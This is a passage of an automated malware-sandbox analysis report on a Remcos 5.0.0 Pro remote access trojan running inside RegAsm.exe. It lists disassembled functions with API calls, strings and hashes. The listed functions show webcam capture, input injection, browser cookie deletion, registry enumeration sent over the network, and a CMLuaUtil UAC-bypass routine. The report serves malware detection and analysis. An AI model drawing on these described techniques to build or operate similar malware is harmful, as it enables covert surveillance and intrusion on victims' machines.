                              • Opcode Fuzzy Hash: d792f27428e216ec403bd2c8f2a7274a29a7ee60ee52af981f0ff1553ee06993
                              • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                              Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 004079C5
                              • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A0D
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • CloseHandle.KERNEL32(00000000), ref: 00407A4D
                              • MoveFileW.KERNEL32 ref: 00407A6A
                              • CloseHandle.KERNEL32(00000000), ref: 00407A95
                              • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                                • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                                • Part of subcall function 00404B96: SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040548B), ref: 00404BC3
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                              • String ID: .part
                              • API String ID: 1303771098-3499674018
                              • Opcode ID: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                              • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                              • Opcode Fuzzy Hash: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                              • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                              Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • SendInput.USER32(00000001,?,0000001C), ref: 004199CC
                              • SendInput.USER32(00000001,?,0000001C), ref: 004199ED
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A0D
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A21
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A37
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A54
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A6F
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A8B
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InputSend
                              • String ID:
                              • API String ID: 3431551938-0
                              • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                              • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                              • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                              • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                              Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __freea$__alloca_probe_16_free
                              • String ID: a/p$am/pm$zD
                              • API String ID: 2936374016-2723203690
                              • Opcode ID: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                              • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                              • Opcode Fuzzy Hash: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                              • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                              Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                              • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                              • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413B8B
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Enum$InfoQueryValue
                              • String ID: [regsplt]$xUG$TG
                              • API String ID: 3554306468-1165877943
                              • Opcode ID: 7e2048b5b4a15889db9c74ac39567fdb59dd46086023709b3913aff4f04af58e
                              • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                              • Opcode Fuzzy Hash: 7e2048b5b4a15889db9c74ac39567fdb59dd46086023709b3913aff4f04af58e
                              • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                              Function 0044B3BC Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetConsoleCP.KERNEL32 ref: 0044B3FE
                              • __fassign.LIBCMT ref: 0044B479
                              • __fassign.LIBCMT ref: 0044B494
                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                              • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000), ref: 0044B4D9
                              • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000), ref: 0044B512
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                              • String ID:
                              • API String ID: 1324828854-0
                              • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                              • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                              • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                              • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                              Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID: D[E$D[E
                              • API String ID: 269201875-3695742444
                              • Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                              • Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
                              • Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                              • Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D
                              Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExW.ADVAPI32 ref: 00413D46
                                • Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                • Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • RegCloseKey.ADVAPI32(00000000), ref: 00413EB4
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEnumInfoOpenQuerysend
                              • String ID: xUG$NG$NG$TG
                              • API String ID: 3114080316-2811732169
                              • Opcode ID: 08b76a7912a30081b3e44aa767579625ce380fd121976155e2fb2c8398a0c7a5
                              • Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
                              • Opcode Fuzzy Hash: 08b76a7912a30081b3e44aa767579625ce380fd121976155e2fb2c8398a0c7a5
                              • Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E
                              Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32 ref: 0041363D
                                • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                                • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                              • _wcslen.LIBCMT ref: 0041B763
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                              • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                              • API String ID: 37874593-122982132
                              • Opcode ID: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                              • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                              • Opcode Fuzzy Hash: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                              • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                              Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                                • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                              • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
                              • PathFileExistsA.SHLWAPI(?), ref: 0040BF78
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                              • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                              • API String ID: 1133728706-4073444585
                              • Opcode ID: c4bf94da8be876f49cea7471f0be2422906d591350fd81deebf31ce2b361b3bc
                              • Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
                              • Opcode Fuzzy Hash: c4bf94da8be876f49cea7471f0be2422906d591350fd81deebf31ce2b361b3bc
                              • Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE
                              Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                              • Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
                              • Opcode Fuzzy Hash: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                              • Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8
                              Function 0041C3F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                              • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041C44D
                              • CloseHandle.KERNEL32(00000000), ref: 0041C459
                              • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C46A
                              • CloseHandle.KERNEL32(00000000), ref: 0041C477
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseHandle$CreatePointerWrite
                              • String ID: hpF
                              • API String ID: 1852769593-151379673
                              • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                              • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                              • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                              • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                              Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A
                              • _free.LIBCMT ref: 00450F48
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00450F53
                              • _free.LIBCMT ref: 00450F5E
                              • _free.LIBCMT ref: 00450FB2
                              • _free.LIBCMT ref: 00450FBD
                              • _free.LIBCMT ref: 00450FC8
                              • _free.LIBCMT ref: 00450FD3
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast
                              • String ID:
                              • API String ID: 776569668-0
                              • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                              • Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
                              • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                              • Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745
                              Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                              Download Yara Rule
                              APIs
                              • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                              • int.LIBCPMT ref: 00411183
                                • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                              • std::_Facet_Register.LIBCPMT ref: 004111C3
                              • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                              • String ID: (mG
                              • API String ID: 2536120697-4059303827
                              • Opcode ID: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                              • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                              • Opcode Fuzzy Hash: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                              • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                              Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                              • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLastValue___vcrt_
                              • String ID:
                              • API String ID: 3852720340-0
                              • Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                              • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                              • Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                              • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                              Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                              Download Yara Rule
                              APIs
                              • CoInitializeEx.OLE32(00000000,00000002), ref: 004075D0
                                • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                                • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                              • CoUninitialize.OLE32 ref: 00407629
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InitializeObjectUninitialize_wcslen
                              • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                              • API String ID: 3851391207-1839356972
                              • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                              • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                              • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                              • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                              Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                              Download Yara Rule
                              APIs
                              • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                              • GetLastError.KERNEL32 ref: 0040BAE7
                              Strings
                              • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                              • UserProfile, xrefs: 0040BAAD
                              • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                              • [Chrome Cookies not found], xrefs: 0040BB01
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DeleteErrorFileLast
                              • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                              • API String ID: 2018770650-304995407
                              • Opcode ID: 1760e3e0d40a85f21b6d805f5d6a4de2d8cd9e2060f798d2c7163d0a527507e4
                              • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                              • Opcode Fuzzy Hash: 1760e3e0d40a85f21b6d805f5d6a4de2d8cd9e2060f798d2c7163d0a527507e4
                              • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                              Function 0041CD9B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON
                              Download Yara Rule
                              APIs
                              • AllocConsole.KERNEL32 ref: 0041CDA4
                              • ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                              • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Console$AllocOutputShowWindow
                              • String ID: Remcos v$5.0.0 Pro$CONOUT$
                              • API String ID: 2425139147-2278869229
                              • Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                              • Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
                              • Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                              • Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E
                              Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                              Download Yara Rule
                              APIs
                              • __allrem.LIBCMT ref: 0043AC69
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                              • __allrem.LIBCMT ref: 0043AC9C
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                              • __allrem.LIBCMT ref: 0043ACD1
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                              • String ID:
                              • API String ID: 1992179935-0
                              • Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                              • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                              • Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                              • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                              Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32(00000000,0040D262), ref: 004044C4
                                • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: H_prologSleep
                              • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                              • API String ID: 3469354165-3054508432
                              • Opcode ID: cda6b0fbff319c628721655c4fa246e2f3a2f768a0df06d81a35272adc1baa10
                              • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                              • Opcode Fuzzy Hash: cda6b0fbff319c628721655c4fa246e2f3a2f768a0df06d81a35272adc1baa10
                              • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                              Function 00411CFE Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2
                              • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
                              • GetNativeSystemInfo.KERNEL32(?), ref: 00411DA5
                              • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 00411DC9
                                • Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CB3
                              • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 00411E10
                              • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 00411E17
                              • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411F2A
                                • Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                                • Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                              • String ID:
                              • API String ID: 3950776272-0
                              • Opcode ID: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                              • Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
                              • Opcode Fuzzy Hash: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                              • Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9
                              Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __cftoe
                              • String ID:
                              • API String ID: 4189289331-0
                              • Opcode ID: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                              • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                              • Opcode Fuzzy Hash: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                              • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
